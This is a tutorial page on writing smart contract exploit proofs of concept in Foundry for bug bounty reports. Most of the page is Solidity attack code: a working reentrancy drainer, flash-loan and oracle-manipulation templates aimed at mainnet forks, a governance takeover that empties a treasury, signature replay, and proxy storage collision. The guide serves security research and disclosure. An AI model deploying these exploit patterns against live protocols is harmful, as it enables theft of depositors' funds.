| title | Module 06 — Web3 Exploit Development & Professional PoC Writing | ||||||||
|---|---|---|---|---|---|---|---|---|---|
| description | Advanced guide to writing professional smart contract exploit proof-of-concepts in Foundry: PoC structure, flash loan attack templates, reentrancy exploits, oracle manipulation, governance takeover, signature forgery, proxy collision exploitation, and responsible disclosure packaging. | ||||||||
| keywords | smart contract exploit development, Foundry PoC, flash loan attack, reentrancy exploit, oracle manipulation PoC, governance takeover, signature forgery Solidity, proxy collision exploit, bug bounty PoC writing, Aave flash loan template, Uniswap V3 flash swap, custom cheatcodes Foundry exploit, hardhat exploit template | ||||||||
| author | Web3 Security Research | ||||||||
| date | 2025-01-01 | ||||||||
| last_modified_at | 2026-03-21 | ||||||||
| og_title | Module 06 — Exploit Development | Web3 Hacker Guide | ||||||||
| og_description | Write professional-grade smart contract exploit PoCs in Foundry — from flash loan attack templates to governance takeovers and proxy collision exploitation. | ||||||||
| og_type | article | ||||||||
| twitter_card | summary_large_image | ||||||||
| canonical_url | https://sdxshadow.github.io/Hack_web3/06_EXPLOIT_DEVELOPMENT | ||||||||
| schema_type | TechArticle | ||||||||
| difficulty | Advanced | ||||||||
| module | 6 | ||||||||
| tags |
|
||||||||
| nav_order | 6 | ||||||||
| parent | Web3 Hacker & Pentester Guide |
Difficulty: Advanced
Finding a vulnerability is only half the job. A professional security researcher must demonstrate exploitability through a working Proof of Concept. This module teaches you how to write clean, reproducible exploit PoCs in Foundry — the industry standard for Web3 exploit development.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "forge-std/console.sol";
// Import interfaces for the target protocol
interface ITargetProtocol {
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
function balanceOf(address) external view returns (uint256);
}
interface IERC20 {
function balanceOf(address) external view returns (uint256);
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
}
contract ExploitPoC is Test {
// Protocol addresses (mainnet fork)
address constant TARGET = 0x1234567890123456789012345678901234567890;
address constant TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; // USDC
ITargetProtocol target;
IERC20 token;
address attacker = makeAddr("attacker");
function setUp() public {
// Fork mainnet at a specific block (before the exploit)
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 18_500_000);
target = ITargetProtocol(TARGET);
token = IERC20(TOKEN);
// Fund the attacker
vm.deal(attacker, 10 ether);
deal(address(token), attacker, 1_000_000e6); // 1M USDC
}
function test_exploit() public {
// === BEFORE STATE ===
console.log("=== BEFORE EXPLOIT ===");
console.log("Attacker USDC:", token.balanceOf(attacker));
console.log("Target USDC:", token.balanceOf(address(target)));
// === EXPLOIT ===
vm.startPrank(attacker);
// Step 1: Setup
token.approve(address(target), type(uint256).max);
// Step 2: Execute exploit
// ... exploit logic here ...
vm.stopPrank();
// === AFTER STATE ===
console.log("\n=== AFTER EXPLOIT ===");
console.log("Attacker USDC:", token.balanceOf(attacker));
console.log("Target USDC:", token.balanceOf(address(target)));
// === ASSERTIONS ===
// Prove the exploit worked
assertGt(token.balanceOf(attacker), 1_000_000e6, "Attacker should have profited");
}
}# Run the exploit PoC
forge test --mt test_exploit -vvvv --fork-url $ETH_RPC_URL --fork-block-number 18500000// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "forge-std/console.sol";
interface IFlashLoanProvider {
function flashLoan(
address receiver,
address[] calldata tokens,
uint256[] calldata amounts,
bytes calldata params
) external;
}
interface IVulnerableLending {
function deposit(address token, uint256 amount) external;
function borrow(address token, uint256 amount) external;
function getPrice(address token) external view returns (uint256);
}
interface IUniswapV2Router {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory);
}
interface IERC20 {
function balanceOf(address) external view returns (uint256);
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
}
contract FlashLoanExploit is Test {
// Mainnet addresses
IFlashLoanProvider constant AAVE = IFlashLoanProvider(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
IUniswapV2Router constant ROUTER = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
address constant VULNERABLE_LENDING = address(0); // Replace with target
address attacker;
address attackContract;
function setUp() public {
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 18_500_000);
attacker = makeAddr("attacker");
vm.deal(attacker, 100 ether);
}
function test_flashLoanAttack() public {
vm.startPrank(attacker);
// Deploy attack contract
AttackContract attack = new AttackContract();
console.log("=== PRE-ATTACK ===");
console.log("Attacker ETH:", attacker.balance / 1 ether, "ETH");
// Execute the attack
attack.executeAttack();
console.log("\n=== POST-ATTACK ===");
console.log("Attacker profit:", address(attack).balance / 1 ether, "ETH");
vm.stopPrank();
}
}
contract AttackContract {
IFlashLoanProvider constant AAVE = IFlashLoanProvider(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
function executeAttack() external {
// Step 1: Take flash loan
address[] memory tokens = new address[](1);
tokens[0] = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // WETH
uint256[] memory amounts = new uint256[](1);
amounts[0] = 10_000 ether; // Borrow 10,000 ETH
AAVE.flashLoan(address(this), tokens, amounts, "");
}
// Aave calls this function during the flash loan
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
// Step 2: We now have 10,000 ETH — manipulate the oracle
// ... dump tokens on Uniswap to crash price
// ... borrow against manipulated collateral on vulnerable lending protocol
// Step 3: Repay flash loan
IERC20(assets[0]).approve(msg.sender, amounts[0] + premiums[0]);
// Step 4: Keep the profit
return true;
}
}contract ReentrancyExploit is Test {
VulnerableBank target;
AttackReentrancy attacker;
function setUp() public {
target = new VulnerableBank();
// Fund the target with victims' deposits
address victim1 = makeAddr("victim1");
vm.deal(victim1, 10 ether);
vm.prank(victim1);
target.deposit{value: 10 ether}();
address victim2 = makeAddr("victim2");
vm.deal(victim2, 10 ether);
vm.prank(victim2);
target.deposit{value: 10 ether}();
// Deploy attack contract
attacker = new AttackReentrancy(address(target));
}
function test_reentrancy() public {
console.log("Target balance before:", address(target).balance / 1 ether, "ETH");
console.log("Attacker balance before:", address(attacker).balance / 1 ether, "ETH");
// Attack with 1 ETH to steal 20 ETH
vm.deal(address(this), 1 ether);
attacker.attack{value: 1 ether}();
console.log("\nTarget balance after:", address(target).balance / 1 ether, "ETH");
console.log("Attacker balance after:", address(attacker).balance / 1 ether, "ETH");
// Target should be drained
assertEq(address(target).balance, 0, "Target should be drained");
assertEq(address(attacker).balance, 21 ether, "Attacker should have all funds");
}
}
contract AttackReentrancy {
VulnerableBank public target;
uint256 public attackCount;
constructor(address _target) {
target = VulnerableBank(_target);
}
function attack() external payable {
require(msg.value >= 1 ether, "Need at least 1 ETH");
target.deposit{value: 1 ether}();
target.withdraw();
}
receive() external payable {
if (address(target).balance >= 1 ether) {
attackCount++;
target.withdraw(); // Re-enter!
}
}
}contract OracleManipulationPoC is Test {
// Addresses on mainnet fork
IUniswapV2Pair pair;
IVulnerableLending lending;
IERC20 tokenA;
IERC20 tokenB;
function setUp() public {
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 18_500_000);
// Initialize protocol contracts
}
function test_oracleManipulation() public {
address attacker = makeAddr("attacker");
// Step 1: Record price before manipulation
uint256 priceBefore = lending.getPrice(address(tokenA));
console.log("Price before:", priceBefore);
vm.startPrank(attacker);
// Step 2: Large swap to move spot price
deal(address(tokenA), attacker, 1_000_000 ether);
tokenA.approve(address(router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(tokenA);
path[1] = address(tokenB);
router.swapExactTokensForTokens(
1_000_000 ether, 0, path, attacker, block.timestamp
);
// Step 3: Price is now manipulated
uint256 priceAfter = lending.getPrice(address(tokenA));
console.log("Price after manipulation:", priceAfter);
// Step 4: Exploit the manipulated price
// ... borrow against inflated collateral value ...
// Step 5: Swap back to restore price
// Step 6: Repay flash loan, keep profit
vm.stopPrank();
assertLt(priceAfter, priceBefore / 2, "Price should have dropped significantly");
}
}contract GovernanceAttackPoC is Test {
IGovernor governor;
IVotesToken token;
ITimelock timelock;
function setUp() public {
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 18_500_000);
// Initialize governance contracts
}
function test_governanceTakeover() public {
address attacker = makeAddr("attacker");
// Step 1: Flash loan governance tokens
// ... borrow tokens from Aave ...
// Step 2: Self-delegate voting power
vm.prank(attacker);
token.delegate(attacker);
// Step 3: Create malicious proposal
address[] memory targets = new address[](1);
targets[0] = address(treasury);
uint256[] memory values = new uint256[](1);
values[0] = 0;
bytes[] memory calldatas = new bytes[](1);
calldatas[0] = abi.encodeCall(treasury.transfer, (attacker, treasury.balance()));
vm.prank(attacker);
uint256 proposalId = governor.propose(targets, values, calldatas, "Drain treasury");
// Step 4: Advance time past voting delay
vm.roll(block.number + governor.votingDelay() + 1);
// Step 5: Vote
vm.prank(attacker);
governor.castVote(proposalId, 1); // Vote FOR
// Step 6: Advance past voting period
vm.roll(block.number + governor.votingPeriod() + 1);
// Step 7: Queue in timelock
governor.queue(targets, values, calldatas, keccak256("Drain treasury"));
// Step 8: Wait for timelock, then execute
vm.warp(block.timestamp + timelock.getMinDelay() + 1);
governor.execute(targets, values, calldatas, keccak256("Drain treasury"));
// Step 9: Repay flash loan
console.log("Treasury drained:", address(treasury).balance == 0);
}
}contract SignatureReplayPoC is Test {
VulnerableRelay relay;
function setUp() public {
relay = new VulnerableRelay();
deal(address(relay), 100 ether);
}
function test_signatureReplay() public {
// Create a signer
uint256 signerPk = 0xA11CE;
address signer = vm.addr(signerPk);
// Fund the signer's account in the relay
deal(address(relay), 100 ether);
vm.deal(signer, 1 ether);
vm.prank(signer);
relay.deposit{value: 10 ether}();
// Sign a withdrawal for 10 ETH
bytes32 hash = keccak256(abi.encodePacked(uint256(10 ether)));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPk, hash);
bytes memory signature = abi.encodePacked(r, s, v);
// First withdrawal — legitimate
address relayer = makeAddr("relayer");
vm.prank(relayer);
relay.withdraw(10 ether, signature);
console.log("Signer balance after 1st withdraw:", relay.balances(signer));
// REPLAY — submit the same signature again!
// If the contract doesn't track nonces, this works
vm.prank(relayer);
relay.withdraw(10 ether, signature); // Should succeed if vulnerable
console.log("Signer balance after replay:", relay.balances(signer));
}
}contract ProxyCollisionPoC is Test {
Proxy proxy;
Implementation impl;
function setUp() public {
impl = new Implementation();
proxy = new Proxy(address(impl));
}
function test_storageCollision() public {
// The implementation's slot 0 = proxy's slot 0 (implementation address!)
console.log("Proxy implementation before:", proxy.implementation());
// Call setAdmin on the implementation through the proxy
// This writes to slot 0 — which is the implementation address in the proxy!
address attacker = makeAddr("attacker");
vm.prank(attacker);
(bool success, ) = address(proxy).call(
abi.encodeCall(Implementation.setAdmin, (attacker))
);
require(success, "Call failed");
// Now the proxy's implementation pointer has been overwritten!
console.log("Proxy implementation after:", proxy.implementation());
// The proxy now delegates to the attacker's address (or garbage)
// Attacker can deploy malicious code there and take over
assertEq(proxy.implementation(), attacker, "Implementation should be overwritten");
}
}/**
* @title ExploitPoC_ProtocolName_VulnerabilityType
* @notice Proof of Concept for [vulnerability description]
* @dev Run: forge test --mt test_exploit -vvvv --fork-url $ETH_RPC
*
* VULNERABILITY SUMMARY:
* - Type: [e.g., Reentrancy / Oracle Manipulation / Access Control]
* - Impact: [e.g., Complete drain of protocol funds]
* - Prerequisites: [e.g., Flash loan, none, admin key]
* - Affected contracts: [list addresses]
*
* ATTACK FLOW:
* 1. Flash loan X tokens from Aave
* 2. Deposit tokens to manipulate oracle
* 3. Borrow against inflated collateral
* 4. Repay flash loan, keep profit
*/
contract ExploitPoC is Test {
// ... structured exploit code with comments at each step ...
}exploit_poc/
├── README.md # Summary, severity, steps to reproduce
├── foundry.toml # Foundry configuration
├── .env.example # Required environment variables
├── test/
│ └── ExploitPoC.t.sol # The exploit test
├── src/
│ └── interfaces/ # Interface files for target contracts
└── script/
└── Simulate.s.sol # Optional: deployment script for simulation
# Security Finding: [Title]
## Severity: Critical
## Summary
[One paragraph describing the vulnerability]
## Impact
- Funds at risk: $X
- Affected users: All depositors
- Attack cost: ~$Y gas + flash loan fee
## Steps to Reproduce
1. Clone this repository
2. Copy `.env.example` to `.env` and add your RPC URL
3. Run: `forge test --mt test_exploit -vvvv`
## Root Cause
[Technical explanation]
## Recommended Fix
[Specific code change recommendation]function test_profitCalculation() public {
uint256 attackerBalBefore = token.balanceOf(attacker);
// ... execute exploit ...
uint256 attackerBalAfter = token.balanceOf(attacker);
uint256 gasCost = tx.gasprice * gasleft(); // Approximate
int256 profit = int256(attackerBalAfter) - int256(attackerBalBefore);
console.log("Gross profit:", uint256(profit) / 1e18, "tokens");
console.log("Flash loan fee:", flashLoanAmount * 5 / 10000, "tokens (0.05%)");
console.log("Gas cost:", gasCost / 1e18, "ETH");
console.log("Net profit (approx):", uint256(profit - int256(flashLoanFee)));
}| Cheatcode | Purpose | Example |
|---|---|---|
vm.prank(addr) |
Spoof msg.sender for next call | vm.prank(owner); contract.pause(); |
vm.startPrank(addr) |
Spoof msg.sender for all calls until stopPrank | Block of calls as specific user |
vm.deal(addr, val) |
Set ETH balance | vm.deal(attacker, 1000 ether); |
deal(token, addr, val) |
Set ERC20 balance | deal(address(usdc), attacker, 1e6); |
vm.warp(timestamp) |
Set block.timestamp | vm.warp(block.timestamp + 1 days); |
vm.roll(blockNum) |
Set block.number | vm.roll(block.number + 100); |
vm.store(addr, slot, val) |
Write storage directly | Manipulate internal state |
vm.load(addr, slot) |
Read storage directly | Inspect hidden state |
vm.sign(pk, digest) |
Sign with private key | Generate signatures |
vm.addr(pk) |
Get address from private key | Match signer to address |
makeAddr(name) |
Create labeled address | address alice = makeAddr("alice"); |
vm.expectRevert() |
Next call should revert | Assert access control works |
vm.createSelectFork() |
Fork a network | Test against live state |
vm.label(addr, name) |
Label in traces | Better debugging output |
console.log() |
Print during test | Debug values |
Key Takeaway: A well-written PoC is as important as finding the vulnerability. It transforms a theoretical issue into an undeniable demonstration. Always structure your PoCs with clear before/after state logging, precise comments at each exploit step, and assertions that prove the attack succeeded. The goal is for anyone to run
forge testand immediately understand the vulnerability.
← Previous: Tools & Frameworks | Next: DeFi Protocol Attacks →